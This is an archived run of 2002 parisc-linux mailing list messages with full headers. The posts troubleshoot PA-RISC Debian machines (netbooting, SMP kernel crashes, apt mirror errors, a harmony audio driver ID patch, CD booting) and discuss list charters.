Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6CE674837; Sat, 23 Mar 2002 20:50:57 -0700 (MST)
In-Reply-To: Message from Dark Fiber <dfiber@mega-tokyo.com> 
   of "Sat, 23 Mar 2002 23:21:44 GMT." <5.1.0.14.2.20020323231259.02e2cd68@mail.mega-tokyo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14400

Dark Fiber wrote:
> i did a sea lan and get a p0 reference;
> P0     LAN.192.168.1.1.3.254    192.168.1.1   100/Full Dx
> 
> (192.168.1.1 being my router, .1.10 is my freebsd box).

You router is responding to the bootp query.
Is this the box that will provide the "LIF" image?

> doing a direct connect from my c200 to my pc (freebsd 4.5) and doing a
> "sea lan" gets no result.

Are you using a cross-over cable?
A regular LAN cable won't work for direct (point-to-point) connect.

grant



From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.4.17-32-smp problem
Date: Sat, 23 Mar 2002 20:03:00 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203231953470.13376-100000__821.100609801029$1416621177$gmane$org@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621177 5143 80.91.229.3 (22 Nov 2014 01:52:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:57 +0000 (UTC)
Cc: <debian-hppa@lists.debian.org>
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 23 21:03:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD2FF483D
	for <parisc-linux@parisc-linux.org>; Sat, 23 Mar 2002 21:03:09 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id B62F87BC46; Sat, 23 Mar 2002 20:03:00 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14401

I have been running debian hppa for a while now without incedent.
Recently, I ran apt-get upgrade, and it upgraded my kernel-image
2.4.17-32-smp.  I rebooted, and the box now crashes periodically.  It has
done this twice.  Since I have not had physical access to the box for a
while, I can't get any logs or even bring the box back up.  Hopefully by
monday I'll be able to be more help.

The box is a J5000 with 512M ram and a 30Gig 15k scsi drive on id6 of the
hotswap scsi.  It is running serial console, but has a hp video card.  I
don't know exactly what that is.  The USB on the back is hosed, so the
firmware can't detect the HP keyboard and it boots serial console.

I would also like to ask you hardware gurus out there if I were to buy and
add a PCI USB controller to the J5000, if the firmware would detect the
keyboard and boot properly.

Thanks for the great work on this port, and hopefully you can help me.
Log files to follow when available.......

-- 
You are as I am with You.





From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Something broken in dpkg/dselect/apt?
Date: Sat, 23 Mar 2002 20:31:58 -0900 (AKST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0203232012090.18420-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621177 5157 80.91.229.3 (22 Nov 2014 01:52:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:57 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 23 22:41:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from goliath.alaskatech.org (207-5-237-24-cable.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B8C7483A
	for <parisc-linux@parisc-linux.org>; Sat, 23 Mar 2002 22:41:44 -0700 (MST)
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.12.2/8.12.2) with ESMTP id g2O5VwbX018694
	for <parisc-linux@parisc-linux.org>; Sat, 23 Mar 2002 20:31:58 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14402

A couple days ago I apt-get update/upgraded my C180, since it had been off
for a few weeks while I was moving. Everything seemed to go fine, no
errors. Also cvs'd and updated to 2.4.18-pa05 at the same time, again
without errors. Shut it down, turned it on today, and now apt-get update
(or dselect update) fails. Updates download, then errors "Failed to fetch
-x-  rename failed, no such file or directory" and "couldn't stat -x- -
stat (2 no such file or directory". It then helpfully suggests that I
rerun the apt-get udpate... I cleared the package list in dpkg, I
recreated my sources.list file, and I checked to see if the permissions
were gone in /var/lib/apt, which they don't appear to be. The files it
fails to rename are there, there's rwx on them, and I'm in as root...

Has anyone noticed this, or heard of this? As a possibly related note,
rerunning cvs to check the kernel version gives me the same three files
updating, and it appears that cvs thinks the update is failing, so every
time I cvs-update it re-downloads them... It's run fine all day, no
instability or errors, rebooting showed no errors. Strange...

If anyone can suggest how to approach this I'm all ears...




From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel 2.4.17-32-smp problem
Date: Sun, 24 Mar 2002 01:14:32 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20020324081432.82653483C__13783.5277979777$1416621178$gmane$org@dsl2.external.hp.com>
References: <Pine.LNX.4.33L2.0203231953470.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621178 5168 80.91.229.3 (22 Nov 2014 01:52:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 01:14:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 82653483C; Sun, 24 Mar 2002 01:14:32 -0700 (MST)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Sat, 23 Mar 2002 20:03:00 PST." <Pine.LNX.4.33L2.0203231953470.13376-100000@eiger.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14403

Jeremy Drake wrote:
> Recently, I ran apt-get upgrade, and it upgraded my kernel-image
> 2.4.17-32-smp.  I rebooted, and the box now crashes periodically.

Where you running an SMP kernel before?
(If so, which version?)

Normally I'd say get the latest (2.4.18 based) kernel.
But I know the SMP variant hangs on my A500 pretty quickly.
I haven't had a chance to debug this since I've been spending spare
cycle working on PA8700 support (bug workarounds in SBA code).

IIRC, the debian buildd machine is also a J5000 and runs a
non-SMP kernel for similar (same?) reason.

hth,
grant



From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Something broken in dpkg/dselect/apt?
Date: Sun, 24 Mar 2002 01:20:39 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20020324082040.183814844__16663.4601344869$1416621178$gmane$org@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0203232012090.18420-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621178 5182 80.91.229.3 (22 Nov 2014 01:52:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:58 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>,
	debian-hppa@lists.debian.org
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 01:20:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 183814844; Sun, 24 Mar 2002 01:20:40 -0700 (MST)
In-Reply-To: Message from Tom <palinux@alaskatech.org> 
   of "Sat, 23 Mar 2002 20:31:58 -0900." <Pine.LNX.4.33.0203232012090.18420-100000@goliath.alaskatech.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14404

Tom wrote:
> ...Shut it down, turned it on today, and now apt-get update
> (or dselect update) fails. Updates download, then errors "Failed to fetch
> -x-  rename failed, no such file or directory" and "couldn't stat -x- -
> stat (2 no such file or directory". It then helpfully suggests that I
> rerun the apt-get udpate...

[ please follow up to debian-hppa list only ]

I see this if I happen to upgrade when I think the mirrors are getting
sync'd. Retrying a few hours later usually worked for me.
Locally, the problem time was around 12-4PM PST for debian mirrors
external to HP.

hth,
grant



From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel 2.4.17-32-smp problem
Date: Sun, 24 Mar 2002 09:33:16 -0800 (PST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203240928550.13376-100000__17721.8599165373$1416621178$gmane$org@eiger.apptechsys.com>
References: <20020324081432.82653483C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621178 5189 80.91.229.3 (22 Nov 2014 01:52:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:58 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>, <debian-hppa@lists.debian.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 10:33:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DC4C4841
	for <parisc-linux@parisc-linux.org>; Sun, 24 Mar 2002 10:33:22 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 894497BC46; Sun, 24 Mar 2002 09:33:16 -0800 (PST)
In-Reply-To: <20020324081432.82653483C@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14405

On Sun, 24 Mar 2002, Grant Grundler wrote:

> Jeremy Drake wrote:
> > Recently, I ran apt-get upgrade, and it upgraded my kernel-image
> > 2.4.17-32-smp.  I rebooted, and the box now crashes periodically.
>
> Where you running an SMP kernel before?
> (If so, which version?)

I was running 2.4.17-32-smp before.  It just updated a debian package of
the same kernel version.  I had no problems with the old one, other than
the fact that it seems to ignore cpu0.  All processor time goes to cpu1
and cpu0 gets a ton of idle.

>
> Normally I'd say get the latest (2.4.18 based) kernel.
> But I know the SMP variant hangs on my A500 pretty quickly.
> I haven't had a chance to debug this since I've been spending spare
> cycle working on PA8700 support (bug workarounds in SBA code).

When the box crashed both times, I was checking out the cvs tree :)

>
> IIRC, the debian buildd machine is also a J5000 and runs a
> non-SMP kernel for similar (same?) reason.
>
> hth,
> grant
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

-- 
Paranoia doesn't mean the whole world isn't out to get you.




From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Using Audio card on 735/99
Followup-To: gmane.linux.ports.hppa
Date: Sun, 24 Mar 2002 21:02:14 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <20020324210214.E28384__41180.522068362$1416621179$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <200203242042.g2OKgET57280@smtp.monmouth.com>
Reply-To: parisc-linux@parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621179 5197 80.91.229.3 (22 Nov 2014 01:52:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:59 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: "Vlad D. Markov" <markov@monmouth.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 14:02:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 733654843
	for <parisc-linux@parisc-linux.org>; Sun, 24 Mar 2002 14:02:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16pF82-0001BD-00; Sun, 24 Mar 2002 21:02:14 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200203242042.g2OKgET57280@smtp.monmouth.com>; from markov@monmouth.com on Sun, Mar 24, 2002 at 03:32:53PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14406

[this is a kernel-related question, moving discussion to parisc-linux]

On Sun, Mar 24, 2002 at 03:32:53PM -0500, Vlad D. Markov wrote:
> I would like to use my audio card on my 735/99 but have failed so far.
> 
> I have used various kernel versions, the last attempt was with a kernel drawn 
> from cvs on 3/21/02, Linux version 2.4.18-pa7. dmesg doesn't list the harmony 
> card as found. The harmony driver was compiled with the kernel.

Harmony doesn't claim to support that device.  I don't know that it will
work ... but you might be lucky :-)

Try adding this patch and let's see what happens:

--- drivers/sound/harmony.c     2002/02/14 19:02:21     1.25
+++ drivers/sound/harmony.c     2002/03/24 20:52:31
@@ -1244,7 +1244,10 @@ out_err:
 
 
 static struct parisc_device_id harmony_tbl[] = {
+       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007A },
        { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007B },
+       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007E },
+       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007F },
        { 0, }
 };
 

This makes harmony pick up all the Audio devices, including some it
almost certainly won't support (eg 705 / 710 audio, which i understand
to be completely different).  But maybe 735's sound will Just Work.
Let's hope.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 0.9.3 CD
Date: Sun, 24 Mar 2002 20:57:20 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20020324205720.GA5932@sleepie.demon.co.uk>
References: <20020322100145.12782.qmail@web9807.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621179 5208 80.91.229.3 (22 Nov 2014 01:52:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bruno =?iso-8859-1?Q?L=E9on?= <nonolemono@yahoo.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 14:13:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id F05294849
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Mar 2002 14:13:09 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 194699EC88; Sun, 24 Mar 2002 20:57:20 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20020322100145.12782.qmail@web9807.mail.yahoo.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14407

On Fri, Mar 22, 2002 at 11:01:45AM +0100, Bruno L?on wrote:
> 
> Hi!
> 
> I'm trying to install the debian on a B180L, however if I can boot on the 0.9.2Cd, I can't on the 0.9.3. And it seem s that the 0.9.2 Cd doesn't support tyhe key boardon my B180L.
> 
> Do you have any methodology to make a bootable CD from the 0.9.3 CD?

The 0.9.3 CD is bootable; if your hardware boots the 0.9.2 CD but not
the 0.9.3 CD, I suggest that you verify the md5sum of your CD, and maybe
burn a fresh copy.

Richard




From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] List usage
Date: Sun, 24 Mar 2002 22:34:26 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20020324223426.G28384__33663.6427244686$1416621179$gmane$org@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621179 5215 80.91.229.3 (22 Nov 2014 01:52:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:59 +0000 (UTC)
To: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 15:34:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D0624848
	for <parisc-linux@parisc-linux.org>; Sun, 24 Mar 2002 15:34:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16pGZG-0002Zt-00; Sun, 24 Mar 2002 22:34:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14408

There've been a lot of crossposted threads between the lists and misdirected
email recently... let's try to reduce that.  My understanding of the 
charter of each list is:

parisc-linux:
 - General discussion about the port
 - Kernel and toolchain issues

debian-hppa:
 - Using Debian on PA machines
 - Porting debian packages to hppa

Questions about general Debian usage should probably be directed to
debian-user rather than debian-hppa.

Any objections to this statement of the charter of these lists?  I'm
just trying to cut down on misdirected questions.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.17-32-smp problem
Date: Sun, 24 Mar 2002 16:33:12 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20020325003312.GA26353@tausq.org>
References: <Pine.LNX.4.33L2.0203231953470.13376-100000@eiger.apptechsys.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621180 5217 80.91.229.3 (22 Nov 2014 01:53:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 24 17:33:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49CDB484B
	for <parisc-linux@parisc-linux.org>; Sun, 24 Mar 2002 17:33:39 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id gbdemaaa for parisc-linux@parisc-linux.org; Sun, 24 Mar 2002 17:32:43 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 16pIQC-00075M-00; Sun, 24 Mar 2002 16:33:12 -0800
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33L2.0203231953470.13376-100000@eiger.apptechsys.com>
